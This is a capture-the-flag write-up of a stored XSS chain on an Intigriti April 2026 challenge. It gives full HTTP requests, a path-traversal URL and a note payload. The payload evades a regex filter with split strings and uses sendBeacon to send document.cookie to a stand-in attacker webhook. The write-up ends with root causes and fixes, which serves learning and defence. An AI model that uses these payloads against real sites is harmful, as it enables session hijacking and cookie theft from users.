</ThreatCenter>

Intigriti April 2026 Challenge (0426) — Full Write-up
Stored XSS via Arbitrary Preference Storage and Reader-Preset Path Traversal
INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
Report INTIGRITI-SRZA184X Solved 21/04/2026 Type: Stored XSS Severity: Medium Status: Accepted

// Exploit Summary

A stored XSS vulnerability on challenge-0426.intigriti.io chains four individually low-risk trust-boundary violations into full session hijack — exfiltrating the admin bot's cookie with a single click, bypassing DOMPurify, a postSanitize regex filter, an Array.isArray widget gate, and session-scoped preference isolation simultaneously.

POST /api/account/preferences Arbitrary readerPresets stored

Reader-preset manifest (no session check) applyRemoteProfile runs

%2F bypass + path traversal DOMPurify + postSanitize bypass

loadCustomWidget → <script> → Admin cookie exfiltrated
Not Self-XSS: The readerPresets manifest is resolved from the note author's account regardless of the visitor's session. Every user — including the admin bot — who visits the crafted URL receives and executes the attacker's stored profile. No attacker involvement required after setup.
1-Click Requirement: Clicking "Request review" on the exploit note POSTs the URL to /api/report. The admin bot visits it and the full chain fires automatically.

// Trust Boundary Violations

Four boundaries are violated in sequence — each one enabling the next:

BoundaryViolation
User input → stored preferences POST /api/account/preferences accepts and persists arbitrary undocumented fields. Attacker stores a fully-controlled readerPresets profile server-side.
Stored preferences → server response The reader-preset manifest endpoint resolves data from the note author's account, not the requesting session. Any visitor's browser receives the attacker's profile.
Server response → client execution %2F-encoded slashes in the panel URL bypass server-side path normalisation. The decoded value is injected into __APP_INIT__, causing the client to fetch the attacker's manifest via path traversal.
Client execution → script injection renderMode=full forces DOMPurify to preserve data-* attributes. The postSanitize regex is evaded by splitting document and cookie via JS concatenation. loadCustomWidget injects the value as a <script> tag.

// Vulnerability Chain — Deep Dive

1
Arbitrary Preference Storage — Undocumented Fields Persisted

The settings UI exposes only theme, fontSize, language, and defaultLayout. However, POST /api/account/preferences accepts and persists any extra fields without schema validation. Submitting as the attacker:

POST /api/account/preferences HTTP/1.1
Host: challenge-0426.intigriti.io
Content-Type: application/json

{
  "readerPresets": {
    "attack": {
      "profile": {
        "widgetTypes": ["custom"],
        "renderMode": "full",
        "widgetSink": "script"
      }
    }
  }
}

Verify persistence: GET /api/account/preferencespreferences.readerPresets.attack.profile is present.

2
Session Trust Violation — Manifest Resolved from Note Author's Account

The reader-preset manifest endpoint resolves readerPresets from the note author's account — not the requesting session. Fetching without any session cookie still returns the attacker's stored profile:

GET /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID HTTP/1.1
Host: challenge-0426.intigriti.io
(no session cookie)

Response:
{
  "profile": {
    "widgetTypes": ["custom"],
    "renderMode": "full",
    "widgetSink": "script"
  }
}

This crosses the session trust boundary: any browser — including the admin bot's — receives and applies the attacker's profile.

3
Path Traversal via %2F Encoding — Bypassing Server-Side Normalisation

The exploit URL uses percent-encoded slashes in the panel segment:

https://challenge-0426.intigriti.io/note/NOTEID/..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Fattack

%2F prevents the router from normalising .. sequences — the URL is routed as a valid note panel page. The server percent-decodes the panel segment and injects it into __APP_INIT__:

window.__APP_INIT__ = {
  "panel": "../../api/account/preferences/reader-presets/attack",
  "noteId": "NOTEID",
  "theme": "dark"
};

Client-side, loadPanelManifest uses the panel string verbatim in a fetch. The browser normalises the ../ sequences:

/note/NOTEID/../../api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID
  → /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID

The manifest returns the attacker's stored profile. applyRemoteProfile runs:

// Array.isArray(['custom']) === true — satisfies the getOwnArray guard
APP.widgetTypes = ['custom'];
APP.renderMode  = 'full';
APP.widgetSink  = 'script';
4
DOMPurify + postSanitize Bypass — Script Injection via data-cfg

The malicious note payload uses split string concatenation to evade the postSanitize regex, which matches against UNSAFE_CONTENT_RE = /script|cookie|document|.../i on the raw attribute string:

Malicious Note Content
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom"
     data-cfg="navigator.sendBeacon('https://ATTACKER_WEBHOOK',this['doc'+'ument']['coo'+'kie'])"></div>

'doc'+'ument' and 'coo'+'kie' are runtime concatenations. Neither split form matches the regex, so the data-cfg attribute survives. With renderMode=full, getSanitizeConfig sets ALLOW_DATA_ATTR: true — DOMPurify preserves data-cfg untouched. loadCustomWidget then executes:

var s = document.createElement('script');
s.textContent = cfg; // navigator.sendBeacon('https://ATTACKER_WEBHOOK', document.cookie)
document.head.appendChild(s);

// Complete Execution Flow

1. Attacker POSTs malicious readerPresets to /api/account/preferences
2. Attacker creates note with data-cfg payload (split-string beacon)
3. Attacker crafts URL: /note/NOTEID/..%2F..%2Fapi%2F.../attack
4. "Request review" POSTs the URL to /api/report — admin bot visits
5. Server decodes panel, injects into __APP_INIT__
6. loadPanelManifest fetches /api/.../attack/manifest.json (no session check)
7. applyRemoteProfile sets widgetTypes=['custom'], renderMode='full', widgetSink='script'
8. getSanitizeConfig sets ALLOW_DATA_ATTR: true — DOMPurify preserves data-cfg
9. postSanitize regex passes — split strings evade detection
10. loadCustomWidget injects <script> → beacon fires with admin cookie + flag

// Steps to Reproduce

1. Store the malicious reader preset

POST /api/account/preferences HTTP/1.1
Host: challenge-0426.intigriti.io
Content-Type: application/json

{
  "readerPresets": {
    "attack": {
      "profile": {
        "widgetTypes": ["custom"],
        "renderMode": "full",
        "widgetSink": "script"
      }
    }
  }
}

2. Create the malicious note

POST /api/notes HTTP/1.1
Host: challenge-0426.intigriti.io
Content-Type: application/json

{
  "title": "notes",
  "content": "<div id=\"enhance-config\" data-types=\"custom\"></div><div data-enhance=\"custom\" data-cfg=\"navigator.sendBeacon('https://ATTACKER_WEBHOOK',this['doc'+'ument']['coo'+'kie'])\"></div>"
}

Response returns NOTEID.

3. Confirm the manifest is session-independent

GET /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID
(no session cookie) → Returns attacker's profile: widgetTypes, renderMode, widgetSink

4. Deliver the exploit URL

https://challenge-0426.intigriti.io/note/NOTEID/..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Fattack

5. Trigger the admin bot (1 click)

On the exploit note page, click "Request review". The admin bot visits the URL — the full chain fires and both the flag cookie and session token are exfiltrated to the attacker's webhook.

// Proof of Exploitation

The admin bot (HeadlessChrome/147.0.0.0 from Belgium, IP 34.140.37.218) sent a beacon to the attacker-controlled webhook:

IP:          34.140.37.218 (Brussels, Belgium — Google Cloud)
User-Agent:  Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/147.0.0.0 Safari/537.36
Method:      POST
Origin:      http://127.0.0.1:3000
Body:        flag=INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}; northstar_profile=5a93e39f174512e184e34b8dc4c07e7a
FieldValue
User-AgentHeadlessChrome/147.0.0.0
Source IP34.140.37.218 (Brussels, Belgium)
Originhttp://127.0.0.1:3000
Flag capturedINTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
Session token capturednorthstar_profile=5a93e39f174512e184e34b8dc4c07e7a

// Impact

This is a compound vulnerability where individually low-risk features — a permissive preference API, an author-scoped manifest endpoint, a path-normalisation gap, and a regex-based sanitiser — chain into full session hijack. No single fix addresses the issue; the security model fails because each layer trusts the others.

// Root Causes & Recommended Fixes

Root CauseFix
POST /api/account/preferences persists arbitrary fields Strict allowlist on preference input — reject any key outside the defined schema
Reader-preset manifest resolved from note author's account Session-scope the manifest — resolve readerPresets from the requesting session, never the note author's
Panel segment injected into __APP_INIT__ without server-side validation Percent-decode the panel segment server-side, then reject any value not in an explicit allowlist (e.g. {summary, print, compact})
postSanitize uses regex on raw attribute strings Replace with AST-based validation — strip data-cfg unconditionally, or validate against a strict structural allowlist; regex cannot evaluate split or obfuscated expressions